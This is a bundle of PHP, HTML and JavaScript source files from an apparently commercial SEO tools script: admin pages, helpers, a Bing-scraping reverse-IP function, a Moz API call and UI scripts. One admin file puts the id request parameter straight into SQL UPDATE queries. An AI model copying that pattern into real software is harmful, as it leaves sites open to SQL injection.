".$valRes[0][16]['unique'].", item2: ".$valRes[0][16]['views']."}, {y: '6PM - 8PM', item1: ".$valRes[0][18]['unique'].", item2: ".$valRes[0][18]['views']."}, {y: '8PM - 10PM', item1: ".$valRes[0][20]['unique'].", item2: ".$valRes[0][20]['views']."}, {y: '10PM - 12AM', item1: ".$valRes[0][22]['unique'].", item2: ".$valRes[0][22]['views']."} ],"; $footerAddArr[] = <<<EOD <script> /* Morris.js Charts */ // Sales chart var CountX = -1; var area = new Morris.Area({ element: 'pageviews-chart', resize: true, $chartData xkey: 'y', ykeys: ['item1', 'item2'], labels: ['Unique Visitors', 'Page Views'], lineColors: ['#85CBD6', '#59b9c7'], hideHover: 'auto', parseTime: false, xLabelMargin: 10, padding: 40, xLabelAngle: 30, xLabelFormat: function(d) { CountX = CountX+1; return ['12AM - 2AM','2AM - 4AM','4AM - 6AM','6AM - 8AM','8AM - 10AM','10AM - 12PM','12PM - 2PM','2PM - 4PM','4PM - 6PM','6PM - 8PM','8PM - 10PM','10PM - 12AM'][CountX]; } }); </script> EOD; ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @theme: Default Style * @copyright © 2017 ProThemes.Biz * */ ?> <div class="container main-container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8" id="seoTools"> <?php if(isSelected($themeOptions['general']['iSearch'])){ ?> <div id="searchSec" class="col-md-12"> <div class="form-group"> <div class="input-group green shadow"> <div class="input-group-addon"><i class="fa fa-search"></i></div> <input type="text" class="form-control input-lg" placeholder="<?php echo $lang['AS30']; ?>" autocomplete="off" id="search" /> </div> </div> <div class="search-results" id="index-results"></div> <hr /> </div> <?php } $count = 1; $loop = $oneTime = $smCount = 0; $tools_count = count($tools); $browserBtn = isSelected($themeOptions['general']['browseBtn']); foreach ($tools as $tool){ $loop++; if ($count==1){ $smCount++; if($smCount == 4){ if($oneTime == 0){ $oneTime =1; if($browserBtn) echo '<div class="text-center moreToolsBut"><button class="btn btn-info" id="browseTools">'.$lang['AS11'].'</button></div>'; } echo $browserBtn ? '<div class="row hideAll">' : '<div class="row">'; $smCount--; }else{ echo '<div class="row">'; } } if($tool[2] == '' || (!file_exists(THEME_DIR.$tool[2]))) $tool[2] = 'icons/no_image.png'; echo ' <div class="col-md-3"> <div class="thumbnail"> <a class="seotoollink" data-placement="top" data-toggle="tooltip" data-original-title="'.$tool[0].'" title="'.$tool[0].'" href="'.$tool[1].'"><img alt="'.$tool[0].'" src="'.themeLink($tool[2],true).'" class="seotoolimg" /> <div class="caption"> '.$tool[0].' </div></a> </div> </div>'; if ($loop == 20) { ?> <div class="xd_top_box"> <?php echo $ads_468x70; ?> </div> <?php } if ($tools_count==$loop){ echo '</div><!-- /.row -->'; $count = 0; } if ($count==4) { $count = 0; echo '</div><!-- /.row -->'; } $count++; } ?> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /> <br /><file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright © 2017 ProThemes.Biz * */ function reverseIP($revIP){ $link = "http://www.bing.com/search?q=ip%3A" . trim($revIP) . "&go=&qs=n&sk=&sc=8-5&form=QBLH"; $source = getMyData($link); $s = explode('<span class="sb_count">', $source); $s = explode('<h4 class="b_hide">', $s[1]); $s = $s[0]; $regexp = "<a\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)<\/a>"; if(preg_match_all("/$regexp/siU", $s, $matches)) { foreach($matches[2] as $link){ if(!str_contains($link,'javascript:')){ if(!str_contains($link,'microsofttranslator.com')){ if(!str_contains($link,'microsoft.com')){ if(!str_contains($link,'#')){ if(!str_contains($link,'msn.com')){ if(!str_contains($link,$revIP)){ $link = parse_url($link); $host = $link['host']; if($host!=null || $host != "") $revLink[] = $host; } } } } } } } } return array_unique($revLink); } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2019 ProThemes.Biz * */ ?> <style> @media only screen and (min-width: 600px) { .table-responsive { overflow-x: hidden; } } </style> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header --> <form action="#" method="POST" onsubmit="return finalFixedLink();"> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?> <br /> <?php if($pointOut == 'page') { ?> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="page_title">Page Title</label> <input required="required" type="text" placeholder="Enter your page title" value="<?php echo $page_title; ?>" name="page_title" class="form-control" /> </div> <div class="form-group"> <label for="page_url">Page URL</label><small id="linkBox"> (<?php createLink('page'); ?>) </small> <input required="required" type="text" id="pageUrlBox" placeholder="Enter your page url" value="<?php echo $page_url; ?>" name="page_url" class="form-control" /> </div> <div class="form-group"> <label for="meta_des">Meta Description</label> <textarea placeholder="Description must be within 150 Characters" rows="3" name="meta_des" class="form-control"><?php echo $meta_des; ?></textarea> </div> <div class="form-group"> <label for="loginreq">Who can access this page?</label> <select class="form-control" name="loginreq"> <option <?php isSelected($loginreq,true,'1','all'); ?> value="all">All Users</option> <option <?php isSelected($loginreq,true,'1','registered'); ?> value="registered">Only Registered Users</option> </select> </div> <div class="form-group"> <label>Status</label> <select name="status" class="form-control"> <option <?php isSelected($status,true,'1'); ?> value="on">Published</option> <option <?php isSelected($status,false,'1'); ?> value="off">Unpublished</option> </select> </div> <div class="form-group"> <div class="checkbox"> <label class="checkbox inline"> <input <?php isSelected($header_show,true,'2'); ?> type="checkbox" name="header_show" /> <strong>Display the page link on header menu bar.</strong> </label> </div> </div> </div><!-- /.col-md-6 --> <div class="col-md-6"> <div class="form-group"> <label for="page_name">Page Name</label> <input required="required" type="text" placeholder="Enter the page name" value="<?php echo $page_name; ?>" name="page_name" class="form-control" /> </div> <div class="form-group"> <label for="posted_date">Posted Date</label> <?php if($posted_date == '') { ?> <input type="text" placeholder="Enter your posted date" id="postedDate" name="posted_date" class="form-control" /> <?php } else { ?> <input type="text" placeholder="Enter your posted date" value="<?php echo $posted_date; ?>" id="postedDate" name="posted_date" class="form-control" /> <?php } ?> </div> <div class="form-group"> <label for="meta_tags">Meta Keywords (Separate with commas)</label> <textarea placeholder="keywords1, keywords2, keywords3" rows="3" name="meta_tags" class="form-control"><?php echo $meta_tags; ?></textarea> </div> <div class="form-group"> <label for="pageLangCode">Show the page for all language users ?</label> <select class="form-control" name="pageLangCode"> <option value="all">All Languages</option> <option disabled="">Available Languages</option> <?php foreach(getAvailableLanguages($con) as $langBalaji){ echo '<option '. isSelected($pageLangCode,true,'1',$langBalaji[2],true).' value="'.$langBalaji[2].'">'.$langBalaji[3].' Only</option>'; } ?> </select> </div> <div class="form-group"> <label for="sort_order">Sort Order</label> <small>(Optional)</small> <input type="text" placeholder="Type your sort order number" value="<?php echo $sort_order; ?>" name="sort_order" class="form-control" /> </div> <div class="form-group"> <div class="checkbox"> <label class="checkbox inline"> <input <?php isSelected($footer_show,true,'2'); ?> type="checkbox" name="footer_show" /> <strong>Display the page link on footer menu bar.</strong> </label> </div> </div> </div> </div><!-- /.row --> <div class="row"> <div class="form-group" style="margin: 12px;"> <label for="page_content">Page Content</label> <textarea id="editor1" name="page_content" class="form-control"><?php echo $page_content; ?></textarea> </div> </div> <?php if($args[0] == 'edit'){ ?> <input type="hidden" name="editPage" value="1" /> <input type="hidden" name="editID" value="<?php echo $editID; ?>" /> <?php } else { ?> <input type="hidden" name="newPage" value="1" /> <?php } ?> <input type="submit" name="save" value="Save" class="btn btn-primary"/> <a class="btn btn-danger" href="<?php adminLink($controller); ?>" title="Cancel">Cancel</a> <br /> <br /> <?php } elseif($pointOut == 'link') { ?> <div class="row"> <div class="col-md-1"></div> <div class="col-md-10"> <div class="form-group"> <label for="url_type">URL Type</label> <select class="form-control" name="url_type"> <option <?php isSelected($url_type,true,'1','internal'); ?> value="internal">Internal Link</option> <option <?php isSelected($url_type,true,'1','external'); ?> value="external">External Link</option> </select> </div> <div class="form-group"> <label for="url_name">URL Title</label> <input required="required" type="text" placeholder="Type your URL title" value="<?php echo $url_name; ?>" name="url_name" class="form-control" /> </div> <div class="form-group"> <label for="url">URL</label> <input required="required" type="text" placeholder="Type your link" value="<?php echo $url; ?>" name="url" class="form-control" /> </div> <div class="alert alert-success" id="linkAlertBox"> <b>{{baseLink}} will be replaced to website base path ("<?php createLink(); ?>")</b> </div> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label>Status</label> <select name="status" class="form-control"> <option <?php isSelected($status,true,'1'); ?> value="on">Published</option> <option <?php isSelected($status,false,'1'); ?> value="off">Unpublished</option> </select> </div> <div class="form-group"> <label for="target">"target" attribute</label> <small>(Optional)</small> <select class="form-control" name="target"> <option <?php isSelected($target,true,'1','none'); ?> value="none">None</option> <option <?php isSelected($target,true,'1','_blank'); ?> value="_blank">_blank</option> <option <?php isSelected($target,true,'1','_self'); ?> value="_self">_self</option> <option <?php isSelected($target,true,'1','_parent'); ?> value="_parent">_parent</option> <option <?php isSelected($target,true,'1','_top'); ?> value="_top">_top</option> </select> </div> <div class="form-group"> <div class="checkbox"> <label class="checkbox inline"> <input <?php isSelected($header_show,true,'2'); ?> type="checkbox" name="header_show" /> <strong>Display the page link on header menu bar.</strong> </label> </div> </div> </div> <div class="col-md-6"> <div class="form-group"> <label for="sort_order">Sort Order</label> <small>(Optional)</small> <input type="text" placeholder="Type your sort order number" value="<?php echo $sort_order; ?>" name="sort_order" class="form-control" /> </div> <div class="form-group"> <label for="rel">"rel" attribute</label> <small>(Optional)</small> <select class="form-control" name="rel"> <option <?php isSelected($rel,true,'1','none'); ?> value="none">None</option> <option <?php isSelected($rel,true,'1','nofollow'); ?> value="nofollow">nofollow</option> <option <?php isSelected($rel,true,'1','noreferrer'); ?> value="noreferrer">noreferrer</option> <option <?php isSelected($rel,true,'1','external'); ?> value="external">external</option> <option <?php isSelected($rel,true,'1','bookmark'); ?> value="bookmark">bookmark</option> <option <?php isSelected($rel,true,'1','author'); ?> value="author">author</option> <option <?php isSelected($rel,true,'1','help'); ?> value="help">help</option> <option <?php isSelected($rel,true,'1','license'); ?> value="license">license</option> </select> </div> <div class="form-group"> <div class="checkbox"> <label class="checkbox inline"> <input <?php isSelected($footer_show,true,'2'); ?> type="checkbox" name="footer_show" /> <strong>Display the page link on footer menu bar.</strong> </label> </div> </div> </div> </div> <div class="text-center"> <?php if($args[0] == 'edit'){ ?> <input type="hidden" name="editLink" value="1" /> <input type="hidden" name="editID" value="<?php echo $editID; ?>" /> <input type="submit" name="save" value="Save" class="btn btn-primary"/> <?php } else { ?> <input type="hidden" name="newLink" value="1" /> <input type="submit" name="save" value="Create Link" class="btn btn-primary"/> <?php } ?> <a class="btn btn-danger" href="<?php adminLink($controller); ?>" title="Cancel">Cancel</a> <br /> <br /> </div> </div><!-- /.col-md-6 --> </div> <?php } else { ?> <div class="table-responsive"> <table cellpadding="0" cellspacing="0" border="0" class="table table-striped table-bordered" id="mySitesTable"> <thead> <tr> <th>Sort Order</th> <th>Page Name</th> <th>Page Title</th> <th>Type</th> <th>Added Date</th> <th>Status</th> <th>Actions</th> </tr> </thead> <tbody> </tbody> </table> </div> <?php } ?> </div><!-- /.box-body --> </form> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $pageLink = createLink('page/',true); $ajaxLink = adminLink('?route=ajax/managePages',true); $filebrowserBrowseUrl = createLink('core/library/filemanager/dialog.php?type=2&editor=ckeditor&fldr=',true); $filebrowserUploadUrl = createLink('core/library/filemanager/dialog.php?type=2&editor=ckeditor&fldr=',true); $filebrowserImageBrowseUrl = createLink('core/library/filemanager/dialog.php?type=1&editor=ckeditor&fldr=',true); $footerAddArr[] = <<<EOD <script type="text/javascript" language="javascript" class="init"> $(document).ready(function() { $('#mySitesTable').dataTable( { "processing": true, "serverSide": true, "ajax": "$ajaxLink" } ); } ); </script> <script> $(function () { $('#postedDate').daterangepicker({locale: { format: 'MM/DD/YYYY h:mm A' },singleDatePicker: true, timePicker: true, format: 'MM/DD/YYYY h:mm A'}); var selVal = jQuery('select[name="url_type"]').val(); if(selVal == 'internal'){ $('#linkAlertBox').show(); }else if(selVal == 'external'){ $('#linkAlertBox').hide(); } }); $('select[name="url_type"]').on('change', function() { var selVal = jQuery('select[name="url_type"]').val(); if(selVal == 'internal'){ $('#linkAlertBox').show(); $('input[name="url"]').val('{{baseLink}}'); }else if(selVal == 'external'){ $('#linkAlertBox').hide(); $('input[name="url"]').val('http://'); } }); var mainLink = "$pageLink"; $("#pageUrlBox").focus(function (){ fixLinkBox() }); $("#pageUrlBox").keypress(function (){ fixLinkBox() }); $("#pageUrlBox").blur(function (){ fixLinkBox(); }); $("#pageUrlBox").click(function (){ fixLinkBox() }); function fixLinkBox(){ var pageUrl= jQuery.trim($('input[name=page_url]').val()); var ref = uriFix(pageUrl); $("#linkBox").html(" (" + mainLink + ref + ") "); } function finalFixedLink(){ var pageUrl= jQuery.trim($('input[name=page_url]').val()); var ref = uriFix(pageUrl); $("#pageUrlBox").val(ref); return true; } </script> EOD; if($pointOut == 'page'){ $footerAddArr[] = <<<EOD <script type="text/javascript"> $(function () { // Replace the <textarea id="editor1"> with a CKEditor // instance, using default configuration. CKEDITOR.replace('editor1',{ filebrowserBrowseUrl : '$filebrowserBrowseUrl', filebrowserUploadUrl : '$filebrowserUploadUrl', filebrowserImageBrowseUrl : '$filebrowserImageBrowseUrl' }); CKEDITOR.on( 'dialogDefinition', function( ev ) { // Take the dialog name and its definition from the event // data. var dialogName = ev.data.name; var dialogDefinition = ev.data.definition; // Check if the definition is from the dialog we're // interested on (the Link and Image dialog). if ( dialogName == 'link' || dialogName == 'image' ) { // remove Upload tab dialogDefinition.removeContents( 'Upload' ); } }); }); </script> EOD; } $footerAddArr[] = <<<EOD <script> $(function () { $('input').iCheck({ checkboxClass: 'icheckbox_square-blue', radioClass: 'iradio_square-blue', increaseArea: '20%' }); }); </script> EOD; ?> <file_sep><?php /* * @author Balaji * @name A to Z SEO Tools - PHP Script * @copyright © 2017 ProThemes.Biz * */ function seoMoz($site,$accessID,$secretKey){ $expires = time() + 300; $SignInStr = $accessID. "\n" .$expires; $binarySignature = hash_hmac('sha1', $SignInStr, $secretKey, true); $SafeSignature = urlencode(base64_encode($binarySignature)); $objURL = "http://".$site; $cols = "103079231488"; $flags = "103079215108"; $reqUrl = "http://lsapi.seomoz.com/linkscape/url-metrics/".urlencode($objURL)."?Cols=".$cols."&AccessID=".$accessID."&Expires=".$expires."&Signature=".$SafeSignature; $opts = array( CURLOPT_RETURNTRANSFER => true ); $curlhandle = curl_init($reqUrl); curl_setopt_array($curlhandle, $opts); $content = curl_exec($curlhandle); curl_close($curlhandle); $resObj = json_decode($content); return array (round($resObj->{'umrp'},2),round($resObj->{'upa'},2),round($resObj->{'pda'},2)); } ?><file_sep><?php /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ function successMsg($msg){ return ' <div class="alert alert-success alert-dismissable alert-premium"> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">x</button> <b>Alert!</b> '.$msg.' </div>'; } function errorMsg($msg){ return ' <div class="alert alert-danger alert-dismissable alert-premium"> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">x</button> <b>Alert!</b> ' . $msg . ' </div>'; } function makeLoginNav($quick_login,$baseURL,$lang){ $loginNav = ''; if(isset($_SESSION[N_APP.'Username'])){ $loginNav .= '<li><a class="signin" href="'.$baseURL.'?logout">'.trans('Logout',$lang['RF104'],true).'</a></li> <li><a class="signup" href="'.createLink('my-profile',true).'">'.trans('My Profile',$lang['RF83'],true).'</a></li>'; }else{ if($quick_login){ $loginNav .= '<li><a class="signin" data-target="#signin" data-toggle="modal" href="#">'.trans('Log In',$lang['RF89'],true).'</a></li> <li><a class="signup" href="#" data-target="#signup" data-toggle="modal">'.trans('Sign Up',$lang['RF70'],true).'</a></li>'; } else { $loginNav .= '<li><a class="signin" href="'.createLink('account/login',true).'">'.trans('Log In',$lang['RF89'],true).'</a></li> <li><a class="signup" href="'.createLink('account/register',true).'">'.trans('Sign Up',$lang['RF70'],true).'</a></li>'; } } return $loginNav; } function previewBox(){ $cssCode = $htmlCode = ''; $cssCode = ' <style> .previewFloatingBox { background: #2ecc71; border-right: 4px 4px; padding: 5px;; width: 150px; z-index: 10000; position: fixed; left:0; top:200px; border: 1px solid rgba(0, 0, 0, 0.2); border-radius: 0 4px 4px 0; } </style> '; $htmlCode = ' <nav class="previewFloatingBox"> <h4>Themes Preview</h4> <a class="btn btn-info" href="'.createLink('theme/unset/',true).'">Reset to default</a> </nav> '; return $cssCode.$htmlCode; } function detectAdBlock($con){ $data1 = $data2 = ''; $taskData = mysqli_query($con, "SELECT * FROM rainbowphp_temp where task='adblock'"); $taskRow = mysqli_fetch_array($taskData); $adblock = dbStrToArr($taskRow['data']); if(isset($adblock['enable']) && isSelected($adblock['enable'])){ if($adblock['options'] == 'link'){ $data1 = $adblock['link']; }else if($adblock['options'] == 'close'){ $data1 = $adblock['close']['title']; $data2 = $adblock['close']['msg']; }else if($adblock['options'] == 'force'){ $data1 = $adblock['force']['title']; $data2 = $adblock['force']['msg']; } return array(true,$adblock['options'],$data1,$data2); } return array(false); } function detectAdBlockScript($con){ $master = $data1 = $data2 = ''; $taskData = mysqli_query($con, "SELECT * FROM rainbowphp_temp where task='adblock'"); $taskRow = mysqli_fetch_array($taskData); $adblock = dbStrToArr($taskRow['data']); if(isset($adblock['enable']) && isSelected($adblock['enable'])){ if($adblock['options'] == 'link'){ $data1 = shortCodeFilter($adblock['link']); }else if($adblock['options'] == 'close'){ $data1 = makeJavascriptStr(htmlspecialchars_decode(shortCodeFilter($adblock['close']['title']))); $data2 = makeJavascriptStr(htmlspecialchars_decode(shortCodeFilter($adblock['close']['msg']))); }else if($adblock['options'] == 'force'){ $data1 = makeJavascriptStr(htmlspecialchars_decode(shortCodeFilter($adblock['close']['title']))); $data2 = makeJavascriptStr(htmlspecialchars_decode(shortCodeFilter($adblock['close']['msg']))); } $master .= 'var xdEnabled = true;'; $master .= 'var xdOption = "'.$adblock['options'].'";'; $master .= 'var xdData1 = \''.$data1.'\';'; $master .= 'var xdData2 = "'.$data2.'";'; }else{ $master .= 'var xdEnabled = false;'; } return $master; } function makeJavascriptStr($string, $echo=false){ if($echo) echo str_replace("\n", '\n', str_replace('"', '\"', addcslashes(str_replace("\r", '', (string)$string), "\0..\37'\\"))); else return str_replace("\n", '\n', str_replace('"', '\"', addcslashes(str_replace("\r", '', (string)$string), "\0..\37'\\"))); } function makeJavascriptArray($array){ $str = array_map('makeJavascriptStr', $array); $str = array_map('trim', $array); return '["' . implode('","', $str) . '"]'; } function getUserInfo($username,$con){ $row = mysqliPreparedQuery($con, "SELECT * FROM users WHERE username=?",'s',array($username)); if($row !== false){ return $row; } return false; } function getUserID($username,$con){ $data = mysqliPreparedQuery($con, "SELECT * FROM users WHERE username=?",'s',array($username)); if($data !== false){ //Username found $userID = Trim($data['id']); return $userID; }else{ return false; } return false; } function unqFile($path,$filename){ if (file_exists($path.$filename)) { $filename = rand(1, 99999999) . "_" . $filename; return unqFile($path,$filename); }else{ return $filename; } } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright © 2018 ProThemes.Biz * */ $pageTitle = 'Manage SEO Tools'; $subTitle = 'Tools List'; $fullLayout = 1; $footerAdd = true; $footerAddArr = array(); if(isset($_GET['disable'])){ $dID = raino_trim($_GET['id']); $query = "UPDATE seo_tools SET tool_show='no' WHERE id='$dID'"; if (!mysqli_query($con,$query)) $msg = errorMsgAdmin('Something Went Wrong!'); else $msg = successMsgAdmin('SEO Tool disabled Successfully!'); } if(isset($_GET['enable'])){ $dID = raino_trim($_GET['id']); $query = "UPDATE seo_tools SET tool_show='yes' WHERE id='$dID'"; if (!mysqli_query($con,$query)) $msg = errorMsgAdmin('Something Went Wrong!'); else $msg = successMsgAdmin('SEO Tool enabled Successfully!'); } $query = "SELECT * FROM seo_tools"; $result = mysqli_query($con,$query); while($row = mysqli_fetch_array($result)){ $toolList[]=$row; } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name A to Z SEO Tools v2 - PHP Script * @copyright © 2017 ProThemes.Biz * */ ?> <script> var msgDomain = "<?php makeJavascriptStr($lang['23'],true); ?>"; </script> <script src='<?php createLink('core/library/googleMalwareChecker.js',false,true); ?>'></script> <div class="container main-container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8 main-index"> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="title"><?php echo $data['tool_name']; ?></h2> <?php if ($pointOut != 'output') { ?> <br /> <p><?php echo $lang['23']; ?> </p> <form method="POST" action="<?php echo $toolOutputURL;?>" onsubmit="gMalCheck(); return false"> <input type="text" name="url" id="url" value="" class="form-control"/> <br /> <div class="text-center"> <input class="btn btn-info" type="submit" value="<?php echo $lang['8']; ?>" name="submit"/> </div> </form> <?php } ?> <br /> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="sec1" class="about_tool"><?php echo $lang['11'].' '.$data['tool_name']; ?></h2> <p> <?php echo $data['about_tool']; ?> </p> <br /> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /><file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright © 2017 ProThemes.Biz * */ function genSiteLinks($my_url){ require_once(LIB_DIR.'simple_html_dom.php'); $ex_data_arr = $int_data = array(); $data = file_get_html($my_url); if($data == '') return false; //Parse Host $my_url_parse = parse_url($my_url); $inputHost = $my_url_parse['scheme'] . "://" . $my_url_parse['host']; $my_url_host = str_replace("www.","",$my_url_parse['host']); $my_url_path = $my_url_parse['path']; $my_url_query = $my_url_parse['query']; $find_out = $data->find("a"); foreach($find_out as $href) { if(!in_array($href->href, $ex_data_arr)) { if(substr($href->href, 0, 1) != "" && $href->href != "#") { $ex_data_arr[] = $href->href; $ex_data[] = array( 'href' => $href->href, 'rel' => $href->rel ); } } } foreach($ex_data as $count=>$link) { $parse_urls = parse_url($link['href']); if($parse_urls['host'] == $my_url_host || $parse_urls['host'] == "www.".$my_url_host ) { if(substr($link['href'], 0, 7) == "http://") { //Link Okay } elseif(substr($link['href'], 0, 8) == "https://") { //Link Okay } elseif(substr($link['href'], 0, 2) == "//") { $link['href'] = "http:" . $link['href']; } elseif(substr($link['href'], 0, 1) == "/") { $link['href'] = $inputHost . $link['href']; } else{ $link['href'] = $inputHost .'/'. $link['href']; } if(!in_array($link['href'], $int_data)) { if(!in_array($link['href'].'/', $int_data)) { if($link['href'] != '') $int_data[] = $link['href']; } } } elseif((substr($link['href'], 0, 2) != "//") && (substr($link['href'], 0, 1) == "/")) { if(substr($link['href'], 0, 7) == "http://") { //Link Okay } elseif(substr($link['href'], 0, 8) == "https://") { //Link Okay } elseif(substr($link['href'], 0, 2) == "//") { $link['href'] = "http:" . $link['href']; } elseif(substr($link['href'], 0, 1) == "/") { $link['href'] = $inputHost . $link['href']; } else{ $link['href'] = $inputHost .'/'. $link['href']; } if(!in_array($link['href'], $int_data)) { if(!in_array($link['href'].'/', $int_data)) { if($link['href'] != '') $int_data[] = $link['href']; } } }else{ if(substr($link['href'], 0, 7) != "http://" && substr($link['href'], 0, 8) != "https://" && substr($link['href'], 0, 2) != "//" && substr($link['href'], 0, 1) != "/" && substr($link['href'], 0, 1) != "#" && substr($link['href'], 0, 2) != "//" && substr($link['href'], 0, 4) != "tel:" && substr($link['href'], 0, 6) != "mailto" && substr($link['href'], 0, 10) != "javascript") { //Link Okay $link['href'] = $inputHost .'/'. $link['href']; if(!in_array($link['href'], $int_data)) { if(!in_array($link['href'].'/', $int_data)) { if($link['href'] != '') $int_data[] = $link['href']; } } } } } return $int_data; }<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title">Install Addons</h3> </div><!-- /.box-header --> <div class="box-body"> <?php if(isset($msg)) echo $msg. '<br>'; ?> <table class="table table-hover"> <tbody><tr> <th>#</th> <th>Name</th> <th>Status</th> </tr> <?php $loopC = 1; foreach($minMsg as $msg){ echo ' <tr> <td>'.$loopC.'</td> <td>'.$msg[0].'</td> <td>'.$msg[1].'</td> '; $loopC++; } ?> </tbody></table> <hr /> <form action="#" method="POST" enctype="multipart/form-data"> <br /> <div class="form-group"> <label for="addonID">Select a addon package:</label> <div class="controls"> <input type="file" name="addonUpload" id="addonUpload" class="btn btn-default" /> <input type="hidden" name="addonID" id="addonID" value="1" /> <br /> <?php if($minError){ ?> <input type="submit" value="Upload" name="submit" class="btn btn-primary" disabled="" /> <?php } else { ?> <input type="submit" value="Upload" name="submit" class="btn btn-primary" /> <?php } ?> </div> <!-- /controls --> </div> <!-- /control-group --> </form> <div class="row"> <div class="col-md-6"> <br /> <div class="callout callout-danger"> <h4>Note!</h4> <p>1) Don't upload unkown addons and make sure it is downloaded from authorized site.</p> <p>2) Read instruction before processing automatic installation.</p> </div> </div> </div> </div><!-- /.box-body --> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --><file_sep>var overScore = 0; var showSuggestionBox = 0; function showSuggestion(sugBox) { showSuggestionBox = sugBox; $('.'+sugBox).slideToggle(100); } function finalScore(){ $("#passScore").css("width", passScore+'%'); $("#improveScore").css("width", improveScore+'%'); $("#errorScore").css("width", errorScore+'%'); $('.second.circle').circleProgress({ value: passScore / 100, animation: false }); $("#overallscore").html(passScore+'<i class="newI">'+scoreTxt+'</i>'); } $(".seoBox").on("click","a",function(event){ showSuggestion(showSuggestionBox); }); $("#seoBox4").on("click", ".showMore1", function(){ jQuery(".hideTr1").fadeIn(); jQuery(".showMore1").css({"display":"none"}); jQuery(".showLess1").css({"display":"block"}); return false; }); $("#seoBox4").on("click", ".showLess1", function(){ jQuery(".hideTr1").fadeOut(); jQuery(".showLess1").css({"display":"none"}); jQuery(".showMore1").css({"display":"block"}); var pos = $('.headingResult').offset(); $('body,html').animate({ scrollTop: pos.top },800); return false; }); $("#seoBox6").on("click", ".showMore2", function(){ jQuery(".hideTr2").fadeIn(); jQuery(".showMore2").css({"display":"none"}); jQuery(".showLess2").css({"display":"block"}); return false; }); $("#seoBox6").on("click", ".showLess2", function(){ jQuery(".hideTr2").fadeOut(); jQuery(".showLess2").css({"display":"none"}); jQuery(".showMore2").css({"display":"block"}); var pos = $('.altImgResult').offset(); $('body,html').animate({ scrollTop: pos.top },800); return false; }); $("#seoBox8").on("click", ".showMore3", function(){ jQuery(".hideTr3").fadeIn(); jQuery(".showMore3").css({"display":"none"}); jQuery(".showLess3").css({"display":"block"}); return false; }); $("#seoBox8").on("click", ".showLess3", function(){ jQuery(".hideTr3").fadeOut(); jQuery(".showLess3").css({"display":"none"}); jQuery(".showMore3").css({"display":"block"}); var pos = $('.keyConsResult').offset(); $('body,html').animate({ scrollTop: pos.top },800); return false; }); $("#seoBox13").on("click", ".showMore4", function(){ jQuery(".hideTr4").fadeIn(); jQuery(".showMore4").css({"display":"none"}); jQuery(".showLess4").css({"display":"block"}); return false; }); $("#seoBox13").on("click", ".showLess4", function(){ jQuery(".hideTr4").fadeOut(); jQuery(".showLess4").css({"display":"none"}); jQuery(".showMore4").css({"display":"block"}); var pos = $('.inPage').offset(); $('body,html').animate({ scrollTop: pos.top },800); return false; }); $("#seoBox14").on("click", ".showMore5", function(){ jQuery(".hideTr5").fadeIn(); jQuery(".showMore5").css({"display":"none"}); jQuery(".showLess5").css({"display":"block"}); return false; }); $("#seoBox14").on("click", ".showLess5", function(){ jQuery(".hideTr5").fadeOut(); jQuery(".showLess5").css({"display":"none"}); jQuery(".showMore5").css({"display":"block"}); var pos = $('.brokenLinks').offset(); $('body,html').animate({ scrollTop: pos.top },800); return false; }); $("#seoBox22").on("click", ".showMore6", function(){ jQuery(".hideTr6").fadeIn(); jQuery(".showMore6").css({"display":"none"}); jQuery(".showLess6").css({"display":"block"}); return false; }); $("#seoBox22").on("click", ".showLess6", function(){ jQuery(".hideTr6").fadeOut(); jQuery(".showLess6").css({"display":"none"}); jQuery(".showMore6").css({"display":"block"}); var pos = $('.whois').offset(); $('body,html').animate({ scrollTop: pos.top },800); return false; 